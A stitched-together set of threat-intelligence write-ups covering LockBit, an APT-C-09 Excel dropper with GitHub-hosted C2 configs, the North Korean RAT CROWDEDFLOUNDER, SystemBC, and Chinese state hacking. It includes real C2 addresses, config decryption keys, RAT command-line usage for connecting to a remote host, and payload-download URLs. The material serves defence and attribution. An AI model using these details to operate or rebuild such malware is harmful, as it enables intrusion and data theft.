downloading or opening attachments from unknown senders. 2. Look for misspellings, typos, and other suspicious content in emails and attachments and report any abnormalities to IT or information security. 3. Keep your software up-to-date and install Microsoft security patches. 4. Consider disabling the Equation Editor feature in Microsoft Office by editing specific registry entries. ### IOCs **Hashes** - B4EEF8F14871FB3891C864602AEE75FE2513064A - CD46BD187F35EA782309B373866DEA1B6311FAD9 - CA7E8C9AA7F63133BC37958A6AA3A59CFD014465 - E23BED29C6D64AD80504331A9E87EB8C8ED59B8A - C61C5E61C6B80878245E2837DF949318A5831D85 - 48F2C9DC9FA41BAD9D1EA6C01DA034110AA9D4A0 - FE1B51FE46BDAD6EA051110AB0D1B788A54331E4 - F241F55480D54590D37C64916BC7B595DA7571A0 - 6B19C85B6A28C2EDCC1784CD3465F6AA665107C3 **About the Author** Cybereason Nocturnus The Cybereason Nocturnus Team has brought the world’s brightest minds from the military, government intelligence, and enterprise security to uncover emerging threats across the globe. They specialize in analyzing new attack methodologies, reverse-engineering malware, and exposing unknown system vulnerabilities. The Cybereason Nocturnus Team was the first to release a vaccination for the 2017 NotPetya and Bad Rabbit cyberattacks.
# The Rising Threat from LockBit Ransomware **Written By** Tony Bradley August 11, 2021 | 3 minute read LockBit ransomware is the latest threat posing an increased risk for organizations. The ransomware gang has been making headlines recently. LockBit has also reportedly compromised Accenture. The group reportedly revealed the attack on their site on the DarkWeb, noting: “These people are beyond privacy and security. I really hope that their services are better than what I saw as an insider. If you are interested in buying some databases, reach us.” ## What Is LockBit? LockBit is a cybercriminal gang that operates using a ransomware-as-a-service (RaaS) model—similar to DarkSide and REvil. LockBit offers its ransomware platform for other entities or individuals to use based on an affiliate model. Any ransom payments received from using LockBit are divided between the customer directing the attack and the LockBit gang. LockBit is believed to be related to the LockerGoga and MegaCortex malware families. It shares common tactics, techniques, and procedures (TTPs) with these malicious attacks—particularly the ability to propagate automatically to new targets, being used in targeted attacks rather than just spamming or attacking organizations indiscriminately, and the underlying tools it relies on, such as Windows PowerShell and Server Message Block (SMB). Once a single host is compromised, LockBit can scan the network to locate and infect other accessible devices. It uses tools and protocols that are native to Windows systems—making it more difficult for endpoint security tools to detect or identify the activity as malicious. The LockBit ransomware continues to adapt and evolve. More recent variants have adopted the double extortion model—locating and exfiltrating valuable data before encrypting systems. The stolen data provides additional incentive for victims to pay the ransom. Even if they can restore data from backups, refusing to pay the ransom may result in sensitive data being published publicly or sold to competitors. ## Rising Threat The LockBit gang has been making headlines recently. In the wake of DarkSide and REvil both shutting down operations, it seems like LockBit may be working to fill the void. Lawrence Abrams recently reported that the LockBit ransomware gang is actively recruiting insiders to help them breach and encrypt networks. According to Abrams, this may be a shift from the standard ransomware-as-a-service model to cut out the middleman and keep more of the ransom profit for themselves. The wallpaper displayed on compromised systems now includes text inviting insiders to help compromise systems—promising payouts of millions of dollars. ## Protecting against LockBit Ransomware There is no good option for an organization once a ransomware attack has compromised systems and encrypted data. That is especially true in the case of a double extortion attack. Refusing to pay the ransom means going through a painful process of restoring data from backups and trying to regain control and functionality of your systems while also accepting that your data will likely be exposed. Paying the ransom may allow the victim to be operational quicker and prevent having data published or sold, but research shows that 80% of companies that pay a ransom end up getting attacked again. It is important to have effective protection in place to prevent the ransomware attack from getting that far in the first place. Organizations need to have an operation-centric view of the attack. The ability to view the entire malicious operation—or MalOp—and recognize indicators of behavior enables Cybereason to detect and block ransomware attacks and protect against threats like LockBit. ## Defending Against Ransomware Attacks The only way forward for organizations is to prevent an infection from occurring in the first place. To do that, they need to invest in an anti-ransomware solution that doesn’t rely on Indicators of Compromise (IOCs), as not every ransomware attack chain is known to the security community. They need a multi-layered platform that uses Indicators of Behavior (IOBs) so that security teams can detect and shut down a ransomware attack chain regardless of whether anyone’s seen it before. The Cybereason Operation-Centric approach means no data filtering and the ability to detect attacks earlier based on rare or advantageous chains of (otherwise normal) behaviors. Cybereason is undefeated in the battle against ransomware thanks to our multi-layered prevention, detection and response, which includes: - **Anti ransomware prevention and deception:** Cybereason uses a combination of behavioral detections and proprietary deception techniques to surface the most complex ransomware threats and end the attack before any critical data can be encrypted. - **Intelligence-Based Antivirus:** Cybereason blocks known ransomware variants leveraging an ever-growing pool of threat intelligence based on previously detected attacks. - **NGAV:** Cybereason NGAV is powered by machine learning and recognizes malicious components in code to block unknown ransomware variants prior to execution. - **Fileless Ransomware Protection:** Cybereason disrupts attacks utilizing fileless and MBR-based ransomware that traditional antivirus tools miss. - **Endpoint Controls:** Cybereason hardens endpoints against attacks by managing security policies, maintaining device controls, implementing personal firewalls and enforcing whole-disk encryption across a range of device types, both fixed and mobile. - **Behavioral Document Protection:** Cybereason detects and blocks ransomware hidden in the most common business document formats, including those that leverage malicious macros and other stealthy attack vectors. Cybereason is dedicated to teaming with defenders to end cyber attacks from endpoints to the enterprise to everywhere - including modern ransomware.
# 奇安信威胁情报中心 ## Overview Recently, an XLSM decoy document was captured by the RedDrip team of QiAnXin Threat Intelligence Center by utilizing public intelligence. After deeper analysis, we found that the C2 configurations are located on Github and Feed43. Multiple Github spaces have been exposed through correlation analysis, with the earliest traceable back to July 2018. The relevant accounts were still in use when the report was completed. The decryption algorithm for configurations retrieved from Github will be described in detail, and the portrait of the attacker is partially based on statistics of the decrypted data. ## Sample Analysis The related attack vector is an XLSM file, created on August 8 and uploaded to VT on August 13, that leverages CVE-2017-11882 vulnerability to release MSBuild.exe to the %AppData% directory and then add a registry Run key to stay persistent. To obtain the C2 address, it reads data from Github and Feed43, where the content could be controlled by attackers. HTTP/HTTPS protocols are used while communicating with available C2s. ## Dropper Analysis The sample was uploaded to VT at 5:05 on Aug 13, 2019, with the following details: - **MD5**: 0D38ADC0B048BAB3BD91861D42CD39DF - **Name**: India makes Kashmir Dangerous Place in the World.xlsm - **Time**: 2019-08-13 05:05:15 After opening, a blurred picture shows up to lure the victim to enable macro. After that, a clear picture titled "India has made Kashmir the most dangerous place in the world" gets displayed. In fact, the clear picture is covered with a vague one. When the macro is enabled, the above picture will be deleted so that the clear one will be displayed. There is an OLE object embedded inside, and it seems that the attacker packed the .bak file by mistake. ### Shellcode inside the OLE object performs the following functions: 1. Correct the MZ header located at offset 0x558 of the shellcode entry point (add “MZ”). 2. Drop the PE file to "%AppData%\MSBuild.exe". 3. Add a registry run key (key value: lollipop) to make "%AppData%\MSBuild.exe" persistent. ## MSBuild.exe Analysis MSBuild.exe is released to the %AppData% directory, and the compilation time is August 8th, 2019, which coincides with the XML creation time on Github: - **Name**: MSBuild.exe - **MD5**: 0f4f6913c3aa57b1fc5c807e0bc060fc - **Compile Time**: 2019-08-08 14:00:32 The main purpose of this sample is to obtain C2 configuration from the attacker's Github and Feed43 space, then perform decryption and connect to C2 for further communications. After the malicious code is executed, it will “sleep” for a period of time, implemented by executing a function in a loop for 80,000 times to delay execution. It checks network connectivity by connecting to “https://en.wikipedia.org", then retrieves C2 configuration from two hard-coded addresses (one works as a backup). The hard-coded address is encrypted, and each byte needs to be subtracted by one to obtain the decrypted URL: - **Source**: Decrypted Content - feed43 URL: https://node2.feed43.com/0056234178515131.xml - Github URL: https://raw.githubusercontent.com/petersonmike/test/master/xml.xml The Github account used by the attacker was created on August 7th, 2019, which matches the compilation time of the sample. The C2 configuration is located inside the “description” field after encryption. The Base64 encoded data gets decoded first, then performs ROL1((v11 + 16 * v9) ^ 0x23, 3) operation. After that, Base64 decode again and finally uses Blowfish (older version without Blowfish decryption) with the decryption key below: ``` F0 E1 D2 C3 B4 A5 96 87 78 69 5A 4B 3C 2D 1E 0F 00 11 22 33 44 55 66 77 ``` The decrypted C2 address is 139.28.38.236, and the malware uses HTTP/HTTPS in network communication. System information of the compromised computer will be collected and then exfiltrated, with AES encryption and Base64 encoding performed before sending out the collected data: - **URI**: Content - uuid: ID generated by GetCurrentHwProfile - un: Computer name - on: OS version - lan: IP list - nop: Blank - ver: Malware version, here it is 1.0 After that, the malware enters a while loop to perform actions according to HTTP response: - **URI**: Function - /e3e7e71a0b28b5e96cc492e636722f73/4sVKAOvu3D/ABDYot0NxyG.php: Online, message queue - /e3e7e71a0b28b5e96cc492e636722f73/4sVKAOvu3D/UYEfgEpXAOE.php: Upload data The following table is a comparison of the received tokens and the functions to be performed: | Token | Function | |-------|----------| | 0 | Exit | | 8 | Upload keylog file | | 23 | Upload screen capture file | | 13 | Upload collected list of files for a specific suffix | | 5 | Upload local file | | 33 | Extract EXE download link from URL, then download and execute. | The attacker uploads the files generated after executing remote commands to the C&C server. The following table is a comparison of the cached files and the contents of the records: | File Name | Content | |-------------|---------| | 9PT568.dat | UUID | | TPX498.dat | Keylog file | | TPX499.dat | Screen capture file | | AdbFle.tmp | Retrieved files specified by attacker | | edg499.dat | Files with specific suffixes: (".txt", ".doc", ".xls", ".xlsx", ".docx", ".ppt", ".pptx", ".pdf") | The malware collects a list of files with specific suffixes, stores them in a local file, and uploads to the C2 server. ## Data Analysis After performing correlation analysis, we discovered 44 configuration files hosted on Github and utilized by this APT group. All C2s have been decrypted and extracted for investigation. From the time of file creation, the attacker started working at least as early as July 2018. The earliest created account was on July 3, 2018, and continued to August 2019 when the document was completed. In terms of the statistics of monthly creations, the number of creations in July 2018 is much higher than the follow-up. We give the following reasonable speculations based on the data distribution: - The attacker may conduct a concentrated attack from July to September in 2018. - Accounts are created on demand when the sample gets updated or related Github link is blocked. Some extracted Github usernames are listed as follows. We found that the names are generated based on some family names, indicating that the attacks may be completed by multiple attackers considering the different names being used. Many IDs can be found on social media, and most of them are located in India and Pakistan: malikzafar786, Zunaid-zunaid1, a1amir1, Alaeck, aleks0rg0v, alexboycott, alfreednobeli, chrisyoks, dawoood, ehsaankhan, fakheragainfkhr, fangflee, habrew, hazkabeeb, husngilgit, imranikhan17, imrankh Keywords such as “android” and “mobile” are used in the Github directory, perhaps indicating there are samples for Android phones. Most of the C2s are located in Ukraine while there are 2 IPs in China. ## Conclusion The link to feeds.rapidfeeds.com left in its XML configuration file was also mentioned by Kaspersky’s report in the reference section, confirming that the APT-C-09 group keeps updating its C2 configuration channel, and the recent one reserves some past features. In the perspective of cyber wars, the conflict between India and Pakistan over the territory of Kashmir has lasted for decades, making it a perfect topic for targeted attacks. For example, Donot and Bitter disguised as Kashmiri Voice to attack Pakistan, while Transparent Tribe attacked India with a decoy document regarding terrorist attacks in Kashmir. These combats have proved that national power plays an important role in defending national sovereignty while spying on military intelligence. India’s attempt to abolish India-controlled Kashmir is to detonate the conflict between the two countries. The two sides exchanged fire, and some soldiers have died because of this. In terms of cyber attacks, related incidents will continue to rise. Considering APT-C-09, Bitter, and Donot have carried out targeted attacks against China, we must take actions in advance and keep a close eye on their recent activities. QiAnXin Threat Intelligence Center will provide customers with the latest attack trends in real-time, helping government and enterprises to resist network intrusions from foreign enemies. ## IOCs - **C2**: 139.28.38.236 - **AES Key**: DD1876848203D9E10ABCEEC07282FF37 - **BlowFish Key**: F0E1D2C3B4A5968778695A4B3C2D1E0F0011223344556677 - **Host Name**: WIN-ABPA7FG820B ## Appendix: Extracted C2 Information | C2 | Time | Github username | |--------------------------------------------------------------------------|----------------------------|------------------| | http://149.56.80.64/u5b62ed973d963913bb/u5a3ewfasdk9.php | 2018-07-03T05:19:43 | y4seenkhan | | http://149.56.80.64/u5b62ed973d963913bb/u5a3ewfasdk9.php | 2018-07-03T05:29:54 | hazkabeeb | | http://43.249.37.165/kungfu/ghsnls.php | 2018-07-04T12:45:13 | Zunaid-zunaid1 | | http://123.57.158.115/shujing/ghsnls.php | 2018-07-04T14:39:00 | Zunaid-zunaid1 | | 185.82.217.200/@lb3rt/dqvabs.php | 2018-07-04T20:46:50 | Zunaid-zunaid1 | | 185.82.217.200/N3wt0n/dqvabs.php | 2018-07-04T22:01:40 | aleks0rg0v | | http://185.82.217.200/d3m0n/dqvabs.php | 2018-07-05T10:43:25 | Vldir | | http://81.17.30.28/th0mas/dqvabs.php | 2018-07-05T20:30:57 | Alaeck | | http://46.183.216.222/0racl3/dqvabs.php | 2018-07-07T12:10:04 | yamichaeldavid | | http://91.229.79.183/b15d0e30a7738037/j8fiandfuesmg.php | 2018-07-10T16:26:55 | habrew | | http://176.107.182.24/f0357a3f154bc2ff/sadk9f043ejf.php | 2018-07-10T16:35:49 | ehsaankhan | | http://146.185.234.71/Ms3f3g45thgy5/f3af3fasf32.php | 2018-07-11T00:03:07 | dawoood | | http://185.203.116.58/d394d142687ff5a0/dfae43rsfdgq4e.php | 2018-07-11T01:24:49 | fangflee | | 185.156.173.73 | 2018-07-11T02:47:04 | noorhasima | | http://188.165.124.30/c6afebaa8acd80e7/byuehf8af.php | 2018-07-11T03:15:07 | alfreednobeli | | http://146.185.234.71/Ms3f3g45thgy5/f3af3fasf32.php | 2018-07-11T09:27:55 | jahilzubaine | | 94.156.35.204 | 2018-07-11T11:23:16 | husngilgit | | http://94.156.35.204/22af645d1859cb5c/sg4gasdnjf984.php | 2018-07-11T16:26:29 | raqsebalooch | | 185.203.118.115 | 2018-07-12T10:19:05 | lctst | | 185.29.11.59 | 2018-07-13T18:28:04 | rehmanlaskkr | | ?桔 % ?旵 `辚 3 | 2018-07-13T19:33:56 | noorfirdousi | | 185.206.144.67 | 2018-07-14T12:04:38 | rizvirehman | | 185.36.188.14 | 2018-08-20T10:58:18 | fakheragainfkhr | | 199.168.138.119 | 2018-08-24T12:46:00 | malikzafar786 | | 199.168.138.119 | 2018-08-24T12:55:02 | malikzafar786 | | 199.168.138.119 | 2018-08-24T12:57:59 | malikzafar786 | | 85.217.171.138 | 2018-09-01T09:47:20 | malikzafar786 | | 85.217.171.138 | 2018-09-01T09:53:03 | malikzafar786 | | http://46.183.216.222/0racl3/dqvabs.php | 2018-09-01T10:35:34 | malikzafar786 | | 199.168.138.119 | 2018-09-18T10:34:23 | malikzafar786 | | 199.168.138.119 | 2018-09-18T10:37:49 | malikzafar786 | | 193.37.213.101 | 2018-11-05T11:53:40 | a1amir1 | | 178.33.94.35 | 2018-12-05T12:11:46 | malikzafar786 | | 178.33.94.35 | 2018-12-05T12:38:34 | malikzafar786 | | ;3癬 ??^a;?筛 | 2018-12-17T06:50:14 | yusufk1 | | 185.29.11.59 | 2019-01-15T08:03:17 | str1ngstr | | 164.132.75.22 | 2019-03-01T05:28:04 | z00min | | 193.22.98.17 | 2019-05-27T05:47:11 | alexboycott | | 91.92.136.239 | 2019-06-24T11:14:16 | imrankhan713 | | 91.92.136.239 | 2019-06-24T12:05:21 | imranikhan17 |
# North Korean Trojan: CROWDEDFLOUNDER **Notification** This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of the information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise. This document is marked TLP:WHITE—Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed. For more information on the Traffic Light Protocol (TLP), see [us-cert.gov/tlp](http://www.us-cert.gov/tlp). ## Summary ### Description This Malware Analysis Report (MAR) is the result of analytic efforts between the Department of Homeland Security (DHS), the Federal Bureau of Investigation (FBI), and the Department of Defense (DoD). Working with U.S. Government partners, DHS, FBI, and DoD identified Trojan malware variants used by the North Korean government. This malware variant has been identified as CROWDEDFLOUNDER. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. DHS, FBI, and DoD are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity. This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions, and recommended mitigation techniques. Users should flag activity associated with the malware and report the activity to the Cybersecurity and Infrastructure Security Agency (CISA) or the FBI Cyber Division (CyWatch), and give the activity the highest priority for enhanced mitigation. This report analyzes a Themida packed 32-bit Windows executable, which is designed to unpack and execute a Remote Access Trojan (RAT) binary. The application is designed to accept arguments during execution or can be installed as a service with command line arguments. It is designed to listen for incoming connections containing commands or can connect to a remote server to receive commands. For a downloadable copy of IOCs, see MAR-10265965-3.v1.stix. ### Submitted Files (1) `a2a77cefd2faa17e18843d74a8ad155a061a13da9bd548ded6437ef855c14442` (F2B9D1CB2C4B1CD11A8682755BCC52...) ## Findings `a2a77cefd2faa17e18843d74a8ad155a061a13da9bd548ded6437ef855c14442` ### Tags trojan ### Details - **Name:** F2B9D1CB2C4B1CD11A8682755BCC52FA - **Size:** 1658880 bytes - **Type:** PE32 executable (GUI) Intel 80386, for MS Windows - **MD5:** f2b9d1cb2c4b1cd11a8682755bcc52fa - **SHA1:** 579884fad55207b54e4c2fe2644290211baec8b5 - **SHA256:** a2a77cefd2faa17e18843d74a8ad155a061a13da9bd548ded6437ef855c14442 - **SHA512:** b047a4275f0fa7c0025945800acbffb5be1d327160a135c6ba8ff54352be603cbb47fff71f180ab1a915229778b7a883ed19e1d6a954ab82 - **ssdeep:** 24576:darngxIJfX2+8mGrvs5pdUIPv3eAUW/Y8w9ejjERAjYrNFtI937sTR7R5NwrzD:da7gx2B81gdVXvfAnHRFtIl7k7RPwr - **Entropy:** 7.958686 ### Antivirus - Ahnlab: Trojan/Win32.Xpacked - Antiy: Trojan/Win32.BlueNoroff - Avira: TR/Crypt.TPM.Gen - BitDefender: Trojan.GenericKD.41987817 - ClamAV: Win.Trojan.Agent-7376505-0 - Cyren: W32/Trojan.SXNN-1599 - ESET: Win32/NukeSped.CL trojan - Emsisoft: Trojan.GenericKD.41987817 (B) - Ikarus: Trojan.Win32.NukeSped - K7: Trojan (0040f4ef1) - McAfee: Trojan-NukeSped.a - Microsoft Security Essentials: Trojan:Win32/Thcsim - NANOAV: Trojan.Win32.BlueNoroff.ggbrdv - NetGate: Trojan.Win32.Malware - Sophos: Troj/Agent-BCXR - Symantec: Trojan Horse - TrendMicro: TROJ_THCSIM.A - TrendMicro House Call: TROJ_THCSIM.A - VirusBlokAda: BScope.TrojanPSW.Predator - Zillya!: Trojan.NukeSped.Win32.184 ### YARA Rules No matches found. ### ssdeep Matches No matches found. ### PE Metadata - **Compile Date:** 2017-02-20 05:45:37-05:00 - **Import Hash:** baa93d47220682c04d92f7797d9224ce ### PE Sections | MD5 | Name | Raw Size | Entropy | |---------------------------------------|---------|----------|-----------| | a7295799f336e3a6e8b61fe4f93e2251 | header | 4096 | 0.812374 | | 2db23f163210140d797f67ed1ec1f08e | | 156160 | 7.983767 | | d41d8cd98f00b204e9800998ecf8427e | .rsrc | 0 | 0.000000 | | efcb51d4d8a55d441d194e80899bb2b0 | .idata | 512 | 1.308723 | | d5443c2d2f51ba6c31a5fc9c35af7a2f | | 512 | 0.240445 | | 8eea01ecbee2f6234d68b27d4e05585a | htusmqub| 1497088 | 7.954958 | | 6b71d93792bb677f0a09dbe70e6df1a2 | ijybpcqb| 512 | 3.636986 | ### Description This application is a Themida packed 32-bit Windows executable, which is designed to unpack and execute a RAT binary in memory. This application can accept arguments during execution or can be installed as a service with command line arguments. When executed, the application is designed to modify the firewall on the victim’s machine to allow for incoming and outgoing connections from the victim system. The firewall is modified using a "netsh firewall portopening" command. Static analysis indicates this malware may be utilized to listen as a proxy for incoming connections containing commands or connect to a remote server to receive commands. The following command line arguments are utilized to control the RAT functionality: **--Begin RAT command line arguments--** `-p:` You can use the -p command line argument to force the malware to listen on a specific port. Example: `malware.exe -p 8888` `-h:` You can use the -h CLI to force the malware to connect to a remote host and port. Example: `malware.exe -h <url_string>:8888` Note: `<url_string>` can be either a fully qualified domain name or an Internet Protocol (IP) address. **--End RAT command line arguments--** The RAT uses a rotating exclusive or (XOR) cryptographic algorithm to secure its data transfers and command-and-control (C2) sessions. It is designed to accept instructions from the remote server to perform the following functions: **--Begin functions performed by the malware--** - Download and upload files - Execute secondary payloads - Execute shell commands - Terminate running processes - Delete files - Search files - Set file attributes - Collect device information from installed storage devices (disk free space and their type) - List running processes information - Collect and send information about the victim's system - Securely download malicious DLLs and inject them into remote processes **--End functions performed by the malware--** The `-h` argument is utilized to force the RAT to connect to a C2 server and the CURL library (Version 7.49.1) will be used for data transfers. Although the malware appears to expect a numeric IP address as an argument, it will also accept a string Uniform Resource Locator (URL) value. If a URL string is provided (i.e., domain.com), the malware will then query using the Win32 API `getaddrinfo()`. If this call succeeds, an IP address will be returned and the malware will attempt to connect to that IP address. If `getaddrinfo()` fails, the malware will hash this domain using the MD5 hashing algorithm, resulting in a 16-byte hash value. The malware will then take the first four bytes of this hash value and XOR them with a four-byte value. The resultant four-byte value will then be treated as a numeric IP address. The malware will connect to this newly generated IP address. ### Screenshots - **Figure 1:** XOR based cipher utilized by RAT to secure traffic between itself and the operator/C2 server. - **Figure 2:** Malware loading the command to open the firewall. - **Figure 3:** This structure is utilized to parse the proxy port or remote C2 server from the command line arguments. ## Recommendations CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organizations. Configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts. - Maintain up-to-date antivirus signatures and engines. - Keep operating system patches up-to-date. - Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication. - Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless necessary. - Enforce a strong password policy and implement regular password changes. - Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known. - Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests. - Disable unnecessary services on agency workstations and servers. - Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file type). - Monitor users' web browsing habits; restrict access to sites with unfavorable content. - Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.). - Scan all software downloaded from the Internet prior to executing. - Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs). Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication "Guide to Malware Incident Prevention & Handling for Desktops and Laptops". ## Contact Information CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product. ### Document FAQ - **What is a MIFR?** A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most cases, it will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the desired analysis. - **What is a MAR?** A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis. - **Can I edit this document?** This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to CISA at 1-888-282-0870 or [email protected]. - **Can I submit malware to CISA?** Malware samples can be submitted via three methods: - Web: [malware.us-cert.gov](https://malware.us-cert.gov) - E-Mail: [email protected] - FTP: ftp.malware.us-cert.gov (anonymous) CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing. Reporting forms can be found on CISA's homepage at [www.us-cert.gov](http://www.us-cert.gov). ## Revisions February 14, 2020: Initial Version This product is provided subject to this Notification and this Privacy & Use policy.
# Inside the SystemBC Malware-As-A-Service SystemBC has historically been a proxy bot that has been around for sale since at least April 2019. SystemBC has also been leveraged by the TrickBot crew, specifically the high-profile Ryuk subgroup involved in extortion and ransomware activities. The malware itself is pretty simplistic, although effective, but has mostly evolved into both a backdoor and proxy bot since it was first released. Customers now access a payment system over TOR (socks5v7v2snlwr7.onion) which presents a screen for building builds. The amount of builds you can buy along with the price has changed over time with the current option of buying involving 10 or 100 rebuilds. After selecting which package you want, you are given a screen with a timer and a wallet to send the payment to. After building, you get a compressed archive containing your bot, server, and PHP component: ``` Name------------------------ install.txt dll www/systembc www/systembc/geoip server.exe server.out socks.exe dll/socks3 City.mmdb------------------------ ``` The server that actors buy the package from actually contains the builder and database, which is a collective of build IDs associated with each actor's purchase and build. The stubs needed for building are also present. This method of building is also commonly used for crypters where you create a stub, which is an already compiled executable file designed to have certain pieces of it overwritten by using either tag-based identifiers or offsets in the binary. In this case, it overwrites the needed configuration data in the stub files by finding the ‘BEGIN DATA’ marker and then packages them all up into a compressed archive for delivery to the buyer. ``` BEGIN DATA HOST1:192.168.1.149 HOST2:192.168.1.149 PORT1:4001 TOR: PORT0:4000 PORT1:4001 ``` Hiding behind TOR is becoming an increasingly common tactic for CyberCrime actors, but it does not make them invulnerable to being found. In this case, the server after TOR is 107.175.150.179. From there, we can recover most of the information needed for tracking the actor selling the malware and their customers, including the stub files for building: ``` socks-null.exe server-null.out ``` Along with the database of customers and their builds, which makes finding the actors and their panels relatively easy. Using the current pricing structure against the database, we can estimate that the actor has made over ~100k USD from just selling malware builds via this server with just the current listing in the database. We also discovered that some of the actor's clients are high-profile criminals in the CyberCrime domain. Historically, proxy bots such as SystemBC have not been tracked as closely, as it hasn’t been thought to be leveraged in large-scale attacks, but we discovered some of the clients' panels contained a significant number of bots. Some of the groups this actor is selling to include TrickBot, QBot, and IcedID. In conjunction with the discovery of the large panels, we also discovered that some of the panels the bots were being tasked with downloading CobaltStrike. For example, one panel was pushing the following tasks: ``` hxxp://172.104.63.157/crypt_beacon.exe hxxp://172.104.63.157/crypt_artifact.exe ``` Being leveraged by some large CyberCrime groups as more of a backdoor for delivering CobaltStrike makes SystemBC one more thing to look out for being installed in your environment and potentially left behind even after cleaning up the other related infections. ## IOCs - backupboxsite.com - infodialsxbz.com - data.servicestatus.one - 185.61.138.59 - s.avluboy.xyz - fmk7karchiver.ru - 3q5d4sgdxdxkkzhl.onion - tvtmhltd.org - 23.249.163.103 - vpnstart.chickenkiller.com - htak.club - bc.fgget.top - 185.254.121.121 - scserv2.info - fahrrados.de - 45.145.65.32 - prorequestops.c - tak-super-puper.xyz - usmostik.com - t6xhk2j3iychxc2n.onion - 91.241.19.101 - 76.123.8.226 - 45.146.165.247 - 217.lab.com - 185.119.57.126 - 31.44.184.186 - you.bitxxxxxxtnuhffpbep.onion - 217.8.117.65 - cashnet-server.com - 4renewdmn.biz - 137.74.151.42 - 35.246.186.86 - 84.38.129.162 - ssl.virtualpoolnet.com - we networking.com - jlayxnzzin5y335h.onion - 103.124.104.11 - qtrader.club - 185.125.230.131 - protoukt.socks.cc - 23hfdne.com - americalatina.club - jjj.rop.dev - 45.77.65.71 - 45.77.65.72 - 149.28.201.253 - eflink.network - dl-link.club - 88.198.147.80 - 78.47.64.46
# An (in)Competent Cyber Program – A Brief Cyber History of the ‘CCP’ Every so often, we like to take the opportunity to step back from our regular OSINT sleuthing and take stock about why we spend our time doing what we do. So, we thought we would honour the 100-year anniversary of the Chinese Communist Party (CCP) by pulling together a brief history of how the Chinese cyber programme developed into what it is today and our musings on this trajectory. ## The First World Hacker War Cyber is entwined with the real world. Not a particularly ground-breaking statement, but an important one to make. Real world tensions can spill into the cyber realm, and vice versa. Remember the 2001 China-US tension? A US EP-3 aircraft collided with a Chinese F-8 fighter jet, resulting in the death of the Chinese pilot. What followed was a sustained DDoS attack against US servers, including defacement of the White House and military from Chinese hacktivists. US hacktivists retaliated, leading to a cyber graffiti war of sorts. Interestingly, it wasn’t until the Chinese called out this behaviour as ‘web terrorism’ that the attacks stopped. ## China: No Longer Hiding Its Strength Former leader Deng Xiaoping touted the mantra of ‘hide your strength and bide your time’ (韬光隐晦). Well, it seems that time has passed, and with Xi Jinping now at the helm, China is certainly showing its strength on the world stage. China has aggressively and consistently built its national cyber program, prioritising education in computer science and technology and creating a recruitment pipeline of graduates from within its universities. Its focus seemingly being on offensive capabilities rather than security or intelligence analysis. As evidenced in our bottom-heavy timeline, the CCP has increased their scope for hacking and stealing. They hack indiscriminately – friends and enemies are fair game. China’s BRI initiative is even considered a driver of cyber activity. Their activity is at an industrial scale. This uptick reflects the CCP’s priorities targeting intellectual property (IP) that have coincided with China’s Five-Year Plans. It is now so common that barely a day goes by without another article reporting Chinese cyber theft. ## Disgruntled Hackers and Ties to Academia Back in 2013, a disgruntled hacker from the PLA (given the name Wang) wrote about his time in the PLA hacking for his country. “My only mistake was that I sold myself out to the country for some minor benefits and put myself in this embarrassing situation,” he wrote on his blog. Few incentives and minimal benefits can lead some to defect and leave. What hasn’t changed are the links between Chinese hackers and academia. Wang himself co-authored two academic papers whilst at the PLA university. Interestingly, it was this same year that Cyb3rSleuth outed Zhang Changhe, whose 9-5 job was as an assistant professor at the PLA Engineering University. Cyb3rSleuth was one of the first public uses of OSINT to attribute Chinese cyber-attacks to named individuals within the Chinese system. Further, it was a Tsinghua university (清华大学) IP that engaged in network reconnaissance targeting a number of countries actively working with China on their Belt and Road Initiative (BRI). The PLA led the way with cyber hacking back in the 90s and early 00s. However, in 2015 there appeared to be a shift within the Chinese government, with the PLA transferring the bulk of cyber operations over to the MSS. This transfer enabled plausible deniability following the public indictments of PLA unit 61398 a year earlier. ## Enter the MSS As dedicated readers will know by now, it is the MSS that we at Intrusion Truth have focused on for some time. The MSS get something out of this relationship: deniability on the world stage. But what do the criminal hackers get out of this? Some might say ‘security’. In recent years, there is evidence that China will not prosecute hackers within its borders unless they attack China. However, as indictments have shown, the Chinese state cannot, and do not, protect their own. China is a vast surveillance state. They monitor everything and everyone. Thus, one could say that their continued denial of Chinese APTs, or cries of rogue actors, is laughable. Chinese APTs leave traces of their activity on the internet. Perhaps they have started believing their own propaganda: ‘We are world-leading, stealthy, and advanced threat actors’. What is evident though is their sloppiness, which is something we are more than willing to highlight, evidence and make public. ## State-Sponsored Theft Chinese IP theft represents one of the largest transfers of wealth in human history. Their targeting is indiscriminate – from innovation and R&D to personally identifiable information (PII) and sensitive government documents. Ultimately, anything that provides China an edge is fair game. The methods China uses rely less on physically stealing data, and more on MSS contract hackers being tasked to steal it from within China’s borders. There is a distinction made between a hacker and a criminal. Yet there are ethical and moral boundaries which the Chinese continue to violate. Utilising criminals to hack for the state’s bidding provides an unfair advantage to prop up Chinese businesses. This is theft condoned and actively encouraged by the Chinese state. ## Home-Grown Hēikè The Wooyun.org shutdown appears to be one of the first events which highlights the CCP’s direction of travel to essentially hoard offensive cyber capabilities by restricting the publication of 0-day vulnerabilities. In a 